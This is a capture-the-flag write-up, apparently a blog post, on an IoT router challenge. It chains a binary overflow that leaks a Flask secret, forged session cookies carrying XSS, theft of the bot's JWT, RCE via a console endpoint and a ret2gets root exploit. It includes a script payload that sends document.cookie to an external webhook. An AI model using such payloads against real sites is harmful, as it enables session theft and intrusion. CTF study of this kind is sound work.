0x4ugh Awesome router
This was an “iot”(web X pwn X rev) chal in 0x4ugh-ctf2026(where we got 9th position btw), with only 4 solves. I did this while…
0x4ugh Awesome router
This was an “iot”(web X pwn X rev) chal in 0x4ugh-ctf2026(where we got 9th position btw), with only 4 solves. I did this while participating in the ctf as a member of Them?!
Lore: The “Awesome” webpage was meant to be a harmless site where users can check if their devices health and even do some networking(hence router IDK!). But when you see it from a ctf-sight, “The webpage had few endpoints, /console has a direct rce but to access that we need admin jwt that only the bot has, here we go!”

1. /Healthcheck (get flask secret)
So the entry point was at /healthcheck, there was a binary healthcheck, i overflowed it and got env vars, script i used for this: cybersecurity/ctfs/0xL4ugh/IOT_FUNROUTER/get_session.py
One of the env vars was flask secret which lets us craft custom sessions, and also a flag with value “nope” signalling we r in right direction.
The session contained info about device, the app intended to read it and give the device health insights via that data, but they did that by writing it directly in html from the session cookie (uk what this is RXSS)
settings = session.get('device_settings', {}) #this is what we manipulate
notes = session.get('notes', [])
return render_template('device_info.html', settings=settings, notes=notes)
2. Stealing jwt

Since we have flask-secret, we can craft custom session-cookies with xss payloads in device_settings. Now I tried different variations but all of them got filtered by jinja, buttt markup xss injection worked! So we can just exfilterate bot’s jwt :) Automated script for exfil: cybersecurity/ctfs/0xL4ugh/IOT_FUNROUTER/get_jwt.py at main · Gurpratap-Smagh/cybersecurity
Markup(f'<script>fetch("{WEBHOOK}?jwt="+document.cookie)</script>')
Now that we have got the jwt, we can get an rce as user ctf(As i mentioned earlier, there was a /console endpoint;).
rce_shell: cybersecurity/ctfs/0xL4ugh/IOT_FUNROUTER/get_rce.py
3. Get Root
To privilege-escalate, we need to pwn the binary /fetcher to which we are allowed sudo access to.
I couldn’t finish this part cuz we had just half an hr left so this is the author’s writeup for that: the binary exploitation writeup
The Technique: ret2gets We utilized a specific glibc behavior where gets() uses the _IO_stdfile_0_lock structure. By carefully overflowing the stack, we achieved two goals:
- TLS/Libc Leak: We manipulated the
cntfield of the lock structure to trigger an integer underflow. This prevented theowner(TLS) pointer from being cleared, allowing us to leak it viaputs(). - RDI Control: Because
gets()writes to the address currently inRDI, we could redirect the secondgets()call to write/bin/shinto a known location (the lock structure itself) and then return intosystem().
메타데이터
- post_id
- 3cd99ab43702
- slug
- 0x4ugh-awesome-router-3cd99ab43702
- url
- https://medium.com/@gsmag404/0x4ugh-awesome-router-3cd99ab43702
- canonical_url
- https://medium.com/@gsmag404/0x4ugh-awesome-router-3cd99ab43702
- author_url
- https://medium.com/@gsmag404
- status
- ok
- fetched_at
- 2026-09-02 00:25:06